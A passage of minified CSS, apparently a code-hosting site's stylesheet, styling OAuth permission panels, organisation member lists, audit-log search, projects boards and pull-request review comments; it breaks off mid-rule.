.dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px 